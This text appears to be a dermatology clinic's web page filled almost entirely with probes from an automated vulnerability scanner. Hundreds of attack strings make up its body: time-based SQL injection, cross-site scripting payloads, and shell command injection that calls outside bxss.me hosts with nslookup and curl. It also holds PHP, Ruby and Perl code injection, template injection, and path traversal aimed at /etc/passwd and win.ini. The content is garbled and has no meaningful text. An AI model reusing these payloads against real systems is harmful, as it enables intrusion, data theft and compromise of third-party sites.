Instituto Dermatológico Láser. Dermatología y estética.

1*if(now()=sysdate(),sleep(15),0)

555

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*if(now()=sysdate(),sleep(15),0)

555

1*if(now()=sysdate(),sleep(15),0)

-1' OR 2+914-914-1=0+0+0+1 or 'Ww0Fff2P'='

555

-1' OR 2+32-32-1=0+0+0+1 or 'Yc9iIKHB'='

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1xBZZZavP')) OR 632=(SELECT 632 FROM PG_SLEEP(15))--

1

-1' OR 2+748-748-1=0+0+0+1 or '1mydaYqa'='

1X3sfNi1H') OR 940=(SELECT 940 FROM PG_SLEEP(15))--

1tDHwAjNM' OR 570=(SELECT 570 FROM PG_SLEEP(15))--

1-1)) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

1-1) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1-1 OR 534=(SELECT 534 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1MCZZpbV2'; waitfor delay '0:0:15' --

1W4Z2IUw8')) OR 737=(SELECT 737 FROM PG_SLEEP(15))--

1*if(now()=sysdate(),sleep(15),0)

-1' OR 2+277-277-1=0+0+0+1 or '8C3tuocJ'='

1-1); waitfor delay '0:0:15' --

1

1-1; waitfor delay '0:0:15' --

1

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1

1*if(now()=sysdate(),sleep(15),0)

1

-1' OR 2+198-198-1=0+0+0+1 or '1aP89n1n'='

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1Lh4Jc4iQ')) OR 621=(SELECT 621 FROM PG_SLEEP(15))--

1Fq5nt59h') OR 36=(SELECT 36 FROM PG_SLEEP(15))--

1qrx1fK03' OR 365=(SELECT 365 FROM PG_SLEEP(15))--

1-1)) OR 489=(SELECT 489 FROM PG_SLEEP(15))--

1-1) OR 34=(SELECT 34 FROM PG_SLEEP(15))--

1

1<img sRc='http://attacker-9179/log.php?

1-1 OR 248=(SELECT 248 FROM PG_SLEEP(15))--

1BLZpVxeQ'; waitfor delay '0:0:15' --

1

1\u003CScRiPt\wO46(9682)\u003C/sCripT\u003E

1

%31%3C%53%63%52%69%50%74%20%3E%77%4F%34%36%289471%29%3C%2F%73%43%72%69%70%54%3E

1-1); waitfor delay '0:0:15' --

1

1<img src=//xss.bxss.me/t/dot.gif onload=wO46(9441)>

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9058'>

1

1<isindex type=image src=1 onerror=wO46(9213)>

1-1; waitfor delay '0:0:15' --

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9766></ScRiPt>

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%77%4F%34%36%28%39%31%33%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1<img sRc='http://attacker-9087/log.php?

555

1<ifRAme sRc=9069.com></IfRamE>

555

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1qY8hn <ScRiPt >O3oI(9817)</ScRiPt>

555

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1}body{zzz:Expre/**/SSion(O3oI(9569))}

555

1

bfg6727%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6727

1

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9106'>

555

1*if(now()=sysdate(),sleep(15),0)

1

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1<isindex type=image src=1 onerror=O3oI(9960)>

555

1

1'"()&%<zzz><ScRiPt >wO46(9506)</ScRiPt>

1<img sRc='http://attacker-9108/log.php?

1

1

555UCgNipqm')) OR 418=(SELECT 418 FROM PG_SLEEP(15))--

-1' OR 2+855-855-1=0+0+0+1 or 'LzwchoMo'='

1<ifRAme sRc=9775.com></IfRamE>

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9632></ScRiPt>

555

1

555mEEGlqTx')) OR 829=(SELECT 829 FROM PG_SLEEP(15))--

1175X5 <ScRiPt >wO46(9211)</ScRiPt>

1

1}body{zzz:Expre/**/SSion(wO46(9109))}

1

1<ScR<ScRiPt>IpT>O3oI(9265)</sCr<ScRiPt>IpT>

555

1<script>O3oI(9062)</script>9062

555

1

555VgbxQXUi') OR 929=(SELECT 929 FROM PG_SLEEP(15))--

1

555cNVKhDOq') OR 624=(SELECT 624 FROM PG_SLEEP(15))--

<a HrEF=http://xss.bxss.me></a>

1

1<input autofocus onfocus=wO46(9931)>

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

1

555iBB2D1F4' OR 765=(SELECT 765 FROM PG_SLEEP(15))--

$1 1\u003CScRiPt\wO46(9052)\u003C/sCripT\u003E$

1\u003CScRiPt\wO46(9052)\u003C/sCripT\u003E

1

555rJQ022ib' OR 604=(SELECT 604 FROM PG_SLEEP(15))--

$1 dfb__${98991*97996}__::.x$

%31%3C%53%63%52%69%50%74%20%3E%77%4F%34%36%289411%29%3C%2F%73%43%72%69%70%54%3E

1

1

555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--

1<ifRAme sRc=9324.com></IfRamE>

555

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9097'>

1

1BwVDk <ScRiPt >0CD4(9215)</ScRiPt>

555

1<isindex type=image src=1 onerror=wO46(9902)>

1

1}body{zzz:Expre/**/SSion(0CD4(9974))}

555

1

555-1) OR 650=(SELECT 650 FROM PG_SLEEP(15))--

<a HrEF=http://xss.bxss.me></a>

555

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9522></ScRiPt>

1

555-1) OR 885=(SELECT 885 FROM PG_SLEEP(15))--

1<input autofocus onfocus=0CD4(9025)>

555

'"()&%<zzz><ScRiPt >O3oI(9584)</ScRiPt>

555

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%77%4F%34%36%28%39%37%30%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1'"()&%<zzz><ScRiPt >O3oI(9040)</ScRiPt>

555

1<script>wO46(9073)</script>9073

1

1

555

$1 1\u003CScRiPt\0CD4(9195)\u003C/sCripT\u003E$

1\u003CScRiPt\0CD4(9195)\u003C/sCripT\u003E

555

1<img sRc='http://attacker-9666/log.php?

555

1}body{zzz:Expre/**/SSion(O3oI(9388))}

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9112'>

555

<a HrEF=http://xss.bxss.me></a>

1<isindex type=image src=1 onerror=0CD4(9313)>

555

1<input autofocus onfocus=O3oI(9160)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9702></ScRiPt>

555

1<ScRiPt >0CD4(9395)</ScRiPt>

555

$1\u003CScRiPt\O3oI(9538)\u003C/sCripT\u003E 1$

1\u003CScRiPt\O3oI(9538)\u003C/sCripT\u003E

%31%3C%53%63%52%69%50%74%20%3E%4F%33%6F%49%289384%29%3C%2F%73%43%72%69%70%54%3E

1<ScR<ScRiPt>IpT>0CD4(9655)</sCr<ScRiPt>IpT>

555

1<img/src=">" onerror=alert(9596)>

1<script>0CD4(9827)</script>9827

555

bfgx8879%C0%BEz1%C0%BCz2a%90bcxhjl8879

1

1<img src=xyz OnErRor=O3oI(9980)>

1<img src=//xss.bxss.me/t/dot.gif onload=O3oI(9026)>

bfg3440%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3440

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9891'>

1<isindex type=image src=1 onerror=O3oI(9488)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

'"()&%<zzz><ScRiPt >wO46(9716)</ScRiPt>

1

555-1); waitfor delay '0:0:15' --

$1 dfb__${98991*97996}__::.x$

1'"()&%<zzz><ScRiPt >wO46(9057)</ScRiPt>

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9381></ScRiPt>

1<img sRc='http://attacker-9312/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

1<ScR<ScRiPt>IpT>O3oI(9522)</sCr<ScRiPt>IpT>

1<ifRAme sRc=9227.com></IfRamE>

1<script>O3oI(9005)</script>9005

14dXTL <ScRiPt >wO46(9901)</ScRiPt>

1}body{zzz:Expre/**/SSion(wO46(9484))}

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

'"()&%<zzz><ScRiPt >0CD4(9211)</ScRiPt>

555

$dfb__${98991*97996}__::.x 1$

1<input autofocus onfocus=wO46(9236)>

1'"()&%<zzz><ScRiPt >0CD4(9931)</ScRiPt>

555

1<img sRc='http://attacker-9214/log.php?

1

555

$1\u003CScRiPt\wO46(9131)\u003C/sCripT\u003E 1$

1\u003CScRiPt\wO46(9131)\u003C/sCripT\u003E

1

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

%31%3C%53%63%52%69%50%74%20%3E%77%4F%34%36%289135%29%3C%2F%73%43%72%69%70%54%3E

1<ifRAme sRc=9848.com></IfRamE>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

1<img/src=">" onerror=alert(9379)>

1<img src=xyz OnErRor=wO46(9496)>

1aelFO <ScRiPt >0CD4(9923)</ScRiPt>

1<img src=//xss.bxss.me/t/dot.gif onload=wO46(9072)>

1}body{zzz:Expre/**/SSion(0CD4(9952))}

1

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

1

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

<a HrEF=http://xss.bxss.me></a>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9000'>

1<input autofocus onfocus=0CD4(9878)>

1<isindex type=image src=1 onerror=wO46(9385)>

'"()&%<zzz><ScRiPt >O3oI(9124)</ScRiPt>

1'"()&%<zzz><ScRiPt >O3oI(9538)</ScRiPt>

1

555

$1\u003CScRiPt\0CD4(9617)\u003C/sCripT\u003E 1$

1\u003CScRiPt\0CD4(9617)\u003C/sCripT\u003E

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9055></ScRiPt>

%31%3C%53%63%52%69%50%74%20%3E%30%43%44%34%289537%29%3C%2F%73%43%72%69%70%54%3E

1<img/src=">" onerror=alert(9458)>

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%77%4F%34%36%28%39%38%39%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1<img src=xyz OnErRor=0CD4(9266)>

1<script>wO46(9897)</script>9897

1<img src=//xss.bxss.me/t/dot.gif onload=0CD4(9196)>

1

-1' OR 2+749-749-1=0+0+0+1 or 'AX6QgiNI'='

1

-1' OR 2+918-918-1=0+0+0+1 or 'P4DdV5Ly'='

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9550'>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<isindex type=image src=1 onerror=0CD4(9910)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9546></ScRiPt>

1<ScR<ScRiPt>IpT>0CD4(9471)</sCr<ScRiPt>IpT>

bfgx3982%C0%BEz1%C0%BCz2a%90bcxhjl3982

1<script>0CD4(9332)</script>9332

bfg9738%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9738

'"()&%<zzz><ScRiPt >wO46(9808)</ScRiPt>

1'"()&%<zzz><ScRiPt >wO46(9568)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

555<img sRc='http://attacker-9934/log.php?

1

555}body{zzz:Expre/**/SSion(O3oI(9074))}

'"()&%<zzz><ScRiPt >0CD4(9075)</ScRiPt>

1'"()&%<zzz><ScRiPt >0CD4(9472)</ScRiPt>

1

555\u003CScRiPt\O3oI(9959)\u003C/sCripT\u003E

1

%35%35%35%3C%53%63%52%69%50%74%20%3E%4F%33%6F%49%289402%29%3C%2F%73%43%72%69%70%54%3E

1

'A'.concat(70-3).concat(22*4).concat(112).concat(68).concat(100).concat(73)+(require'socket'
Socket.gethostbyname('hitxt'+'ariywysf72513.bxss.me.')[3].to_s)

1

'+'A'.concat(70-3).concat(22*4).concat(103).concat(90).concat(98).concat(82)+(require'socket'
Socket.gethostbyname('hituh'+'mcnjyxaf84fca.bxss.me.')[3].to_s)+'

1

"+"A".concat(70-3).concat(22*4).concat(106).concat(89).concat(117).concat(76)+(require"socket"
Socket.gethostbyname("hitaj"+"eoetbwlj96f1b.bxss.me.")[3].to_s)+"

'A'.concat(70-3).concat(22*4).concat(118).concat(83).concat(111).concat(77)+(require'socket' Socket.gethostbyname('hitdk'+'mcpejhxg6a54d.bxss.me.')[3].to_s)

1

'+'A'.concat(70-3).concat(22*4).concat(105).concat(85).concat(102).concat(78)+(require'socket' Socket.gethostbyname('hitrl'+'ctymffdje25a3.bxss.me.')[3].to_s)+'

1

555<img src=//xss.bxss.me/t/dot.gif onload=O3oI(9875)>

"+"A".concat(70-3).concat(22*4).concat(114).concat(77).concat(109).concat(75)+(require"socket" Socket.gethostbyname("hitxq"+"tyfvngxs40506.bxss.me.")[3].to_s)+"

1

'A'.concat(70-3).concat(22*4).concat(99).concat(74).concat(110).concat(88)+(require'socket' Socket.gethostbyname('hitee'+'brtfikll4838f.bxss.me.')[3].to_s)

'+'A'.concat(70-3).concat(22*4).concat(97).concat(79).concat(100).concat(69)+(require'socket' Socket.gethostbyname('hitfn'+'aswhlwwu7e745.bxss.me.')[3].to_s)+'

"+"A".concat(70-3).concat(22*4).concat(110).concat(74).concat(99).concat(78)+(require"socket" Socket.gethostbyname("hitqi"+"ixdxehxi67ec7.bxss.me.")[3].to_s)+"

1

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9763'>

&(nslookup${IFS}-q${IFS}cname${IFS}hitngzehsvwtv261b0.bxss.me||curl${IFS}hitngzehsvwtv261b0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitngzehsvwtv261b0.bxss.me||curl${IFS}hitngzehsvwtv261b0.bxss.me)&`'

1

1 bxss.me/t/xss.html?%00

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitbgjqvkgetz5be3f.bxss.me||curl${IFS}hitbgjqvkgetz5be3f.bxss.me)

1 HttP://bxss.me/t/xss.html?%00

1

1 '.print(md5(31337)).'

1

;(nslookup -q=cname hitshodjcvwylb3355.bxss.me||curl hitshodjcvwylb3355.bxss.me)|(nslookup -q=cname hitshodjcvwylb3355.bxss.me||curl hitshodjcvwylb3355.bxss.me)&(nslookup -q=cname hitshodjcvwylb3355.bxss.me||curl hitshodjcvwylb3355.bxss.me)

bxss.me/t/xss.html?%00

1

555

$1 ${@print(md5(31337))}\$

1

<!--

1 ';print(md5(31337));$a='

1

&nslookup -q=cname hitovvzclnsad50729.bxss.me&'\"`0&nslookup -q=cname hitovvzclnsad50729.bxss.me&`'

1

555

1

'"

1 ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

$(nslookup -q=cname hitknxwycezwq1983d.bxss.me||curl hitknxwycezwq1983d.bxss.me)

1

1 <!--

1

'.print(md5(31337)).'

1

(nslookup -q=cname hitzdpsitbekp2b65d.bxss.me||curl hitzdpsitbekp2b65d.bxss.me))

1

555<svg

1

1 '"

1

1'||sleep(27*1000)*bcceff||'

1

";print(md5(31337));$a="

1

&echo sarfkx$()\ sepzgo\nz^xyu||a #' &echo sarfkx$()\ sepzgo\nz^xyu||a #|" &echo sarfkx$()\ sepzgo\nz^xyu||a #

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

gethostbyname(lc('hitgd'.'oolxwyuraa449.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(80).chr(103).chr(90)

1

1"&&sleep(27*1000)*yesuzm&&"

1

';print(md5(31337));$a='

1

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9116></ScRiPt>

1

'.gethostbyname(lc('hittj'.'lloywiyia704a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(67).chr(113).chr(72).'

1

'"()

1

555

1 |(nslookup${IFS}-q${IFS}cname${IFS}hitrrmxlpkedy9dd8a.bxss.me||curl${IFS}hitrrmxlpkedy9dd8a.bxss.me)

1

1 gethostbyname(lc('hitnx'.'kqnmdaxm617c8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(71).chr(106).chr(81)

1

1 1"||sleep(271000)lmohdg||"

1

xfs.bxss.me

1

1 ;(nslookup -q=cname hitgmvitnoknme2c99.bxss.me||curl hitgmvitnoknme2c99.bxss.me)|(nslookup -q=cname hitgmvitnoknme2c99.bxss.me||curl hitgmvitnoknme2c99.bxss.me)&(nslookup -q=cname hitgmvitnoknme2c99.bxss.me||curl hitgmvitnoknme2c99.bxss.me)

1

1 ".gethostbyname(lc("hittz"."eqcxifatd7b14.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(82).chr(101).chr(69)."

1

1 1'||sleep(271000)oocaxn||'

1

1 xfs.bxss.me

1

1 `(nslookup -q=cname hitqdvfosnixg05103.bxss.me||curl hitqdvfosnixg05103.bxss.me)`

1

1 '.gethostbyname(lc('hitds'.'uptbfuom69350.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(70).chr(102).chr(65).'

1

xfs.bxss.me

1

1 1"&&sleep(271000)eqnqle&&"

1

555<ScRiPt
>O3oI(9976)</ScRiPt>

gethostbyname(lc('hitez'.'vwnlvoeg785e1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(98).chr(74)

1

555

1

1 1'&&sleep(271000)ndqzal&&'

1

1 |(nslookup -q=cname hitlqkszwqohyefaba.bxss.me||curl hitlqkszwqohyefaba.bxss.me)

1

".gethostbyname(lc("hitrn"."ufpmupfy816f7.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(68).chr(106).chr(81)."

1

1 '"()

1

$1 &(nslookup -q=cname hituajvvscojsbfadf.bxss.me||curl hituajvvscojsbfadf.bxss.me)&'\"`0&(nslookup -q=cname hituajvvscojsbfadf.bxss.me||curl hituajvvscojsbfadf.bxss.me)&`'$

1 &(nslookup -q=cname hituajvvscojsbfadf.bxss.me||curl hituajvvscojsbfadf.bxss.me)&'\"`0&(nslookup -q=cname hituajvvscojsbfadf.bxss.me||curl hituajvvscojsbfadf.bxss.me)&`'

1

'.gethostbyname(lc('hitso'.'ndpwtksw303c5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(87).chr(116).chr(79).'

1

1"||sleep(271000)sjjxit||"

1

555<ScR<ScRiPt>IpT>O3oI(9214)</sCr<ScRiPt>IpT>

$1 &nslookup -q=cname hitzzphrfvqyk768d5.bxss.me&'\"`0&nslookup -q=cname hitzzphrfvqyk768d5.bxss.me&`'$

1 &nslookup -q=cname hitzzphrfvqyk768d5.bxss.me&'\"`0&nslookup -q=cname hitzzphrfvqyk768d5.bxss.me&`'

1

555

1

1'||sleep(271000)perjsg||'

1

1 $(nslookup -q=cname hitoegmruiqmna6a61.bxss.me||curl hitoegmruiqmna6a61.bxss.me)

1

1"&&sleep(271000)rupocf&&"

1

1 (nslookup -q=cname hitqmcftnfnkv0770c.bxss.me||curl hitqmcftnfnkv0770c.bxss.me))

1

1'&&sleep(271000)xkfhga&&'

1

$1 1|echo woygvx$()\ yilkst\nz^xyu||a #' |echo woygvx$()\ yilkst\nz^xyu||a #|" |echo woygvx$()\ yilkst\nz^xyu||a #$

1 1|echo woygvx$()\ yilkst\nz^xyu||a #' |echo woygvx$()\ yilkst\nz^xyu||a #|" |echo woygvx$()\ yilkst\nz^xyu||a #

1

'"()

1

$1 |echo tmhbyb$()\ zxlpnj\nz^xyu||a #' |echo tmhbyb$()\ zxlpnj\nz^xyu||a #|" |echo tmhbyb$()\ zxlpnj\nz^xyu||a #$

1 |echo tmhbyb$()\ zxlpnj\nz^xyu||a #' |echo tmhbyb$()\ zxlpnj\nz^xyu||a #|" |echo tmhbyb$()\ zxlpnj\nz^xyu||a #

1

555<script>O3oI(9906)</script>9906

)

1

555<script>O3oI(9749)</script>

$&(nslookup${IFS}-q${IFS}cname${IFS}hitejeyccbrzs0958a.bxss.me||curl${IFS}hitejeyccbrzs0958a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitejeyccbrzs0958a.bxss.me||curl${IFS}hitejeyccbrzs0958a.bxss.me)&`' 1$

&(nslookup${IFS}-q${IFS}cname${IFS}hitejeyccbrzs0958a.bxss.me||curl${IFS}hitejeyccbrzs0958a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitejeyccbrzs0958a.bxss.me||curl${IFS}hitejeyccbrzs0958a.bxss.me)&`'

1

555

1 ^(#$!@#$)(()))******

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitrsthlxljgce00e0.bxss.me||curl${IFS}hitrsthlxljgce00e0.bxss.me)

1

1 !(()&&!|||

1

;(nslookup -q=cname hitprwuepgrfg4ecbb.bxss.me||curl hitprwuepgrfg4ecbb.bxss.me)|(nslookup -q=cname hitprwuepgrfg4ecbb.bxss.me||curl hitprwuepgrfg4ecbb.bxss.me)&(nslookup -q=cname hitprwuepgrfg4ecbb.bxss.me||curl hitprwuepgrfg4ecbb.bxss.me)

1

1 )

1

1&n914954=v947225

`(nslookup -q=cname hithrlexnnpxq38a4b.bxss.me||curl hithrlexnnpxq38a4b.bxss.me)`

1

555

^(#$!@#$)(()))******

1

|(nslookup -q=cname hitjlrzduftio5bcab.bxss.me||curl hitjlrzduftio5bcab.bxss.me)

1

555<WC5UQ3>GQC9K[!+!]</WC5UQ3>

1

bxss.me

!(()&&!|||

1

1

555

$(nslookup -q=cname hitirizzgcaqpefba6.bxss.me||curl hitirizzgcaqpefba6.bxss.me)

1

http://bxss.me/t/fit.txt%3F.jpg

1

555<ScRiPt >O3oI(9577)</ScRiPt>

(nslookup -q=cname hitpnmrabuvjv37318.bxss.me||curl hitpnmrabuvjv37318.bxss.me))

1

Http://bxss.me/t/fit.txt

1

$1|echo vqnbir$()\ mytpwp\nz^xyu||a #' |echo vqnbir$()\ mytpwp\nz^xyu||a #|" |echo vqnbir$()\ mytpwp\nz^xyu||a # 1$

1|echo vqnbir$()\ mytpwp\nz^xyu||a #' |echo vqnbir$()\ mytpwp\nz^xyu||a #|" |echo vqnbir$()\ mytpwp\nz^xyu||a #

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

555<aVUdeat<

$|echo zzyvpm$()\ bskduk\nz^xyu||a #' |echo zzyvpm$()\ bskduk\nz^xyu||a #|" |echo zzyvpm$()\ bskduk\nz^xyu||a # 1$

|echo zzyvpm$()\ bskduk\nz^xyu||a #' |echo zzyvpm$()\ bskduk\nz^xyu||a #|" |echo zzyvpm$()\ bskduk\nz^xyu||a #

1

1&n918718=v972858

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

$1&echo igvkra$()\ gqqfzy\nz^xyu||a #' &echo igvkra$()\ gqqfzy\nz^xyu||a #|" &echo igvkra$()\ gqqfzy\nz^xyu||a # 1$

1&echo igvkra$()\ gqqfzy\nz^xyu||a #' &echo igvkra$()\ gqqfzy\nz^xyu||a #|" &echo igvkra$()\ gqqfzy\nz^xyu||a #

1

1 bxss.me

1

kbI9Cuk2

$&echo aepnpw$()\ xwvowf\nz^xyu||a #' &echo aepnpw$()\ xwvowf\nz^xyu||a #|" &echo aepnpw$()\ xwvowf\nz^xyu||a # 1$

&echo aepnpw$()\ xwvowf\nz^xyu||a #' &echo aepnpw$()\ xwvowf\nz^xyu||a #|" &echo aepnpw$()\ xwvowf\nz^xyu||a #

1

1 c:/windows/win.ini

1

1 PsOwKjvr

1

555<img sRc='http://attacker-9648/log.php?

1

../1

$echo dbxhhn$()\ ochduj\nz^xyu||a #' &echo dbxhhn$()\ ochduj\nz^xyu||a #|" &echo dbxhhn$()\ ochduj\nz^xyu||a # 1$

echo dbxhhn$()\ ochduj\nz^xyu||a #' &echo dbxhhn$()\ ochduj\nz^xyu||a #|" &echo dbxhhn$()\ ochduj\nz^xyu||a #

1

1 /etc/shells

1

dfb__${98991*97996}__::.x

v5llrtzT

1

1 http://bxss.me/t/fit.txt%3F.jpg

1

file:///etc/passwd

1 Http://bxss.me/t/fit.txt

1

555<aAwQntw x=9724>

1

../../../../../../../../../../../../../../windows/win.ini

1

dfb[[${98991*97996}]]xca

$1 &(nslookup${IFS}-q${IFS}cname${IFS}hitppubqyswrw0c3df.bxss.me||curl${IFS}hitppubqyswrw0c3df.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitppubqyswrw0c3df.bxss.me||curl${IFS}hitppubqyswrw0c3df.bxss.me)&`'$

1 &(nslookup${IFS}-q${IFS}cname${IFS}hitppubqyswrw0c3df.bxss.me||curl${IFS}hitppubqyswrw0c3df.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitppubqyswrw0c3df.bxss.me||curl${IFS}hitppubqyswrw0c3df.bxss.me)&`'

555

1

../../../../../../../../../../../../../../etc/passwd

1

1 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

1 |(nslookup${IFS}-q${IFS}cname${IFS}hitnmckktzabsaaddd.bxss.me||curl${IFS}hitnmckktzabsaaddd.bxss.me)

555

1 ../1

1

1 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

1 ;(nslookup -q=cname hitlpiylfptpn8e722.bxss.me||curl hitlpiylfptpn8e722.bxss.me)|(nslookup -q=cname hitlpiylfptpn8e722.bxss.me||curl hitlpiylfptpn8e722.bxss.me)&(nslookup -q=cname hitlpiylfptpn8e722.bxss.me||curl hitlpiylfptpn8e722.bxss.me)

555

1

555<ifRAme sRc=9059.com></IfRamE>

1

bxss.me

1

1 `(nslookup -q=cname hitukehruzpdq8a01e.bxss.me||curl hitukehruzpdq8a01e.bxss.me)`

555

1

dfb{{98991*97996}}xca

1

1 file:///etc/passwd

1

c:/windows/win.ini

1

"+response.write(9551026*9847908)+"

1 |(nslookup -q=cname hitqgsdzpplkl98ce8.bxss.me||curl hitqgsdzpplkl98ce8.bxss.me)

555

1

1 ../../../../../../../../../../../../../../windows/win.ini

1

'+response.write(9551026*9847908)+'

$1 &(nslookup -q=cname hitmoexezfycj62c53.bxss.me||curl hitmoexezfycj62c53.bxss.me)&'\"`0&(nslookup -q=cname hitmoexezfycj62c53.bxss.me||curl hitmoexezfycj62c53.bxss.me)&`'$

